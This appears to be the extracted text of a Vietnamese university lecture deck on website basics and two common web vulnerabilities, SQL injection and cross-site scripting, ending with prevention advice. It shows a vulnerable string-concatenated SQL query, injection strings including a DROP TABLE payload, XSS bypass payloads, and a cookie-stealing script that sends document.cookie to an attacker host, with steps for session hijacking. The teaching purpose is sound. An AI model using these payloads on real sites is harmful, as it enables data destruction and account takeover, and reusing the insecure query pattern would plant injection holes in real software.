Dữ liệu thông tin của website phải được lưu trữ trên một máy tính máy chủ – server luôn hoạt động và kết nối với mạng internet.. Lỗ hổng là các chương trình hợp pháp với các lỗ hổng
Trang 1Trường: HV kỹ thuật Mật mã
Trang 33Tổng quan về website
Trang 51, MÔ TẢ WEBSITE VÀ
CÁCH HOẠT ĐỘNG
Website là gì?
• Website là 1 “trang web” trên mạng internet
• Là nơi giới thiệu những thông tin, hình ảnh về
doanh nghiệp và sản phẩm, dịch vụ của doanh
nghiệp (hay giới thiệu bất cứ thông tin gì)
Trang 6ĐỂ TẠO NÊN 1 WEBSITE CẦN 3 YẾU TỐ CƠ
BẢN:
• Cần phải có tên miền (domain)
• Nơi lưu trữ website (hosting)
• Nội dung các trang thông tin (web page)
Trang 7Thế nào là tên miền
• Tên miền là địa chỉ website, trên internet chỉ tồn tại duy nhất 1 địa chỉ (tức là
tồn tại duy nhất một tên miền)
• Có 2 loại tên miền:
+ Tên miền Quốc tế: là tên miền có dạng com; net; org; biz; name
+ Tên miền Việt Nam: là tên miền có dạng: vn; com.vn; net.vn; org.vn;
gov.vn
Trang 8Một website được lưu trữ ở đâu?
Trang 9 Dữ liệu thông tin của website phải được lưu trữ trên một máy tính (máy chủ –
server) luôn hoạt động và kết nối với mạng internet.
Một server có thể lưu trữ nhiều tên website, nếu server này bị sự cố thì không ai c Ó
thể truy cập được những website lưu trữ trên server tại thời điểm đó
Trang 10Nội dung các trang thông tin
Nội dung các trang thông tin được thiết kế và hiển thị
Trang 11 Website động (Dynamic website)
+ Là website có cơ sở dữ liệu, được cung cấp công cụ quản lí
website (Admin Tool)
+ Linh hoạt và có thể cập nhật thông tin thường xuyên, quản lí
các thành phần trên website dễ dàng.
+ Thường được viết bằng các ngôn ngữ lập trình như PHP,
Asp.net, JSP, …., quản trị Cơ sở dữ liệu bằng SQL hoặc MySQL
Website tĩnh
+ Do người lập trình băng ngôn ngữ HTML theo từng trang
+ Không có cơ sở dữ liệu và không có công cụ quản lí thông tin
trên website
+ Ít thay đổi nội dung
+Thông thường website tĩnh được thiết kế bằng các phần mềm
như FrontPage, Dreamwaver,
Trang 12 Có rất nhiều phần mềm chạy trên nền web như Google word (xử lí văn bản),
Google spreadsheets (xử lí bảng tính), Email
Trang 13Một số ưu điểm của phần mềm hay ứng dụng chạy trên nền web:
+ Mọi người đều có trình duyệt và bạn chỉ cần trình duyệt chạy phần mềm.
+ Phần mềm luôn luôn được cập nhật vì chúng chạy trên server.
+ Luôn sẵn sàng 24/7.
+ Dễ dàng backup dữ liệu thường xuyên.
+ Có thể truy cập mọi lúc, mọi nơi, miễn là bạn có mạng.
+ Chi phí triển khai cực rẻ so với phần mềm chạy trên Desktop
Trang 143, Các lỗi bảo mật thông
dụng trên web
Lỗ hổng là gì?
Lỗ hổng là các chương trình hợp pháp với các lỗ hổng bảo mật có nguy cơ đưa đến một số rủi ro cho phép tin tặc có thể có ý định tấn công hoặc thay đổi mã thông qua ứng dụng web tới một hệ thông khác
Toàn bộ những dòng scripts được viết bằng Perl, Python và các ngôn ngữ khác có thể được áp dụng đối với những người thiết kế web ở trình độ không cao và thực thi nó trên hệ thông.
Bất kì khi nào một ứng dụng web sử dụng một công cụ thông dịch
ở bất kì dạng nào đều có thể có nguy bị tấn công lỗ hổng bảo mật.
Trang 15Các lỗ hổng phổ biến:
Lỗ Hổng Injection
Trang 16Injection là gì?
• Là một dạng đặc biệt được lan rộng và là dạng nguy hiểm trong sự tấn công
• Là lỗ hổng mà tin tặc có thể tấn công hoặc thay đổi mã thông qua ứng dụng
web
• Bằng việc cẩn thận gắn các mã độc vào cái tham biến, tin tắc có thể trick ứng
dụng web thông qua việc chuyển tiến các truy vấn mang mã độc tới hệ thống
Trang 17SQL Injection
Là 1 dạng phổ biến của Injection
Là 1 lỗ hổng mà rất nhiều các website bị hacker khai thác và tấn công
Trang 18Lỗ Hổng Cross-Site Scripting - XSS
Trang 19 Cross-Site Scripting (gọi tắt là XSS thay vì CSS để tránh nhầm lẫn với CSS –
Casscading Style Sheet của HTML )– là một trong những lỗ hổng của Web
Application phổ biến nhất hiên nay, băng cách chèn vào các website động
Trang 21Thống kê
Trang 22Tại sao lại có lỗi Sqli?
SQL code trong ứng dụng
string cmdStr = "INSERT INTO Customer(Name, Address, Email, Phone) VALUES
('" + txtName.Text + "', '" + txtEmail.Text + "','" + txtPhone.Text + "')";
conn.Open();
SqlCommand cmd = new SqlCommand(cmdStr, conn);
cmd.ExecuteNonQuery();
Trang 23Minh họa Sqli
Trang 24Các lỗi sqli thường gặp
● Không kiểm tra ký tự thoát
truy vấn:
Đây là dạng lỗi SQL injection xảy ra khi thiếu đoạn mã kiểm tra dữ liệu đầu vào trong câu truy vấn SQL
statement = "SELECT * FROM users WHERE name = '" + userName + "';"
Trang 25Các lỗi sqli thường gặp
● Khi thêm userName= “a' or 't'='t “ , sẽ có câu
truy vấn:
● Các gía trị của biến userName sẽ gây ra xóa người dùng từ bảng người dùng
SELECT * FROM users WHERE name = 'a' OR 't'='t';
a';DROP TABLE users; SELECT * FROM data WHERE 't' = 't
Trang 26Các lỗi Sqli thường gặp
● Xử lý không đúng kiểu:
Lỗi SQL injection dạng này thường xảy ra do
lập trình viên hay người dùng định nghĩa đầu
vào dữ liệu không rõ ràng hoặc thiếu bước
kiểm tra và lọc kiểu dữ liệu đầu vào
users nó sẽ thực hiện thao tác xóa người dùng
có id tương ứng khỏi cơ sở dữ liệu
statement := "SELECT * FROM data WHERE id = " + a_variable + ";"
SELECT * FROM DATA WHERE id=1;DROP TABLE users;
Trang 27Các lỗi sqli thường gặp
● Lỗi bảo mật bên trong máy chủ cơ
sở dữ liệu:
- Đôi khi lỗ hổng có thể tồn tại chính trong
phần mềm máy chủ cơ sở dữ liệu
- Điều này có thể giúp cho kẻ tấn công thực
hiện được sqli
● Blind SQL injection: Lỗi này tồn tại ngay
trong ứng dụng web, nó sẽ gây ra sự sai khác
nội dung của 1 trang bị lỗi sqli
Trang 28Các lỗi sqli thường gặp
● Thay đổi giá trị điều kiện truy vấn:
Dạng lỗi này khiến cho kẻ tấn công có thể thay đổi giá trị điều kiện trong câu truy vấn, làm hiển thị sai lệch của 1 ứng dụng
Sẽ hiển thị một trang một cách bình thường, trong khi:
sẽ hiển thị một nội dung khác hoặc không hiển thị gì
SELECT booktitle FROM booklist WHERE bookId = 'OOk14cd' AND 1=1;
SELECT booktitle FROM booklist WHERE bookId = 'OOk14cd' AND 1=2;
Trang 29Cách phòng chống sqli
dụng
Trang 30Demo khai thác lỗ hổng sqli
Trang 31Tìm hiểu về lỗ hổng
Cross-site scripting - XSS
Trang 32Nội dung chính:
1 XSS là gì?
2 Hiện trạng và mức độ nguy hiểm XSS
3 Nguyên lý hoạt động của XSS
4 Phân loại XSS
5 Phương pháp kiểm tra lỗi
6 Tấn công
7 Biện pháp phòng chống
Trang 331 XSS là gì ?
những lỗ hổng của Web Application phổ
biến nhất hiện nay cho phép hacker chạy các client side scripts (HTML, Flash, và đặc biệt là JavaScript) của họ khi có người khác truy cập vào trang web
Trang 342 Hiện trạng và mức độ nguy hiểm
các website được phát triển với các công nghệ mới, có nhiều ứng dụng có thể thêm vào gia tăng sự tương tác với người dùng như bảng thông báo, xem file đính kèm, dễ dàng chia sẻ tài nguyên thì nguy cơ bị tấn công rất cao
Trang 36Mục tiêu:
● Mục tiêu của kẻ tấn công
là ăn cắp cookie, mật
khẩu của người dùng, lừa
đảo quản trị website,
chiếm các session…
● Vì chỉ hoạt động trên trình
duyệt phía client và chỉ
hoạt động trền bề mặt
website nên không làm
ảnh hưởng tới mã nguồn,
cơ sở dữ liệu trên sever
Trang 373 Nguyên lý hoạt động XSS
Script của hacker thì khi người sử dụng
click vào những link đó thì toàn bộ cookies, mật khẩu lưu trên trình duyệt sẽ được gửi
về cho hacker thông qua email hoặc một file nào đó trên host đã được thiết lập từ trước
Trang 39Stored xss
– Kẻ tấn công chèn một đoạn Script nguy hiểm vào
website ( comment, search, guestbook ) và được lưu lại trong database, để từ đó client khác truy cập vào sẽ dính mã độc từ kẻ tấn công.
victim
attacker
Website(database)
1 2
3 4
Trang 40Reflected XSS
● kẻ tấn công gắn thêm đoạn mã độc URL vào website và gửi đến nạn nhân, khi nạn nhân truy cập vào URL đó sẽ bị dính mã độc
Send URL
Request page
Webserver returns the page
Trang 415.Phương pháp kiểm tra XSS
người dùng có thể nhập dữ liệu vào và sẽ nhận được thông báo trả về từ website như khung search, comment, result, web-form
Trang 4242
Trang 43Cách 1:
“error XSS”, nếu kết quả trả về là:
– Không tìm thấy kết quả cho “error XSS”
– “error XSS” kết quả này không tồn tại
– Your search for “error XSS” is not vaild
Hay bất cứ một kết quả trả về có “error XSS” thì 99% site này bị dính lỗi.
Trang 45Cách 3: kĩ thuật bypass
– <script>alert(String.fromCharCode(104,101,108 ,108,111,32,119,111,114,108,100,33))</script>
– ><script>alert(“hello world”)</script>
Trang 466 Tấn công
viết ra rùi chèn lên những chỗ có lỗi XSS
thể chèn Flash, thẻ iframe ( HTML), URL chứa mã độc dẫn đường link tới web của hacker
Trang 482 file trên lên host
ăn cắp cookie: <script>location.href=’http://www.attacker.net/Stealer.php?
cookie=’+document.cookie;</script>
Trang 49script vào những chỗ xác định là lỗi XSS
cập vào đó và dùng tiện ích add-on cookie
để login
Trang 507 Phòng chống XSS
● 7.1 Đối với người thiết kế và phát triển web
● 7.2 Đối với người dùng.
Trang 517.1 Người phát triển web
● Chỉ chấp nhận những yếu tố hợp lệ theo như yêu cầu trong công việc lập trình web.
● Liên tục kiểm tra và thanh lọc dữ liệu đầu vào.
● Tạo ra danh sách thẻ HTML được phép sử dụng Xóa bỏ thẻ <script> hoặc đóng thẻ <script> trong comment, coi đây như một đoạn trích dẫn.
● Vẫn cho phép các kí tự đặc biệt nhưng phải được
mã hóa trước khi in ra
Trang 52● Sử dụng thêm các bộ lọc code để loại bỏ kí tự đặc biệt từ đầu vào(anti-xss filter, bộ thư viện
HTML Purifier )
● Lọc các dấu nháy đơn, nháy kép
● Lọc ra bất kí một đoạn mã JavaScript, VBScript, Flash Related
● Chuyển đổi những kí tự sau trong thẻ input sinh ra:
Trang 53Đối với người dùng
chrome, thường xuyên cập nhật phiên bản mới.
email và khi lướt web.
thông báo và ngăn chặn các mã độc hại đang được thực thi.
QuickTime, JavaScript để lướt web an toàn.
Trang 54Thank
you !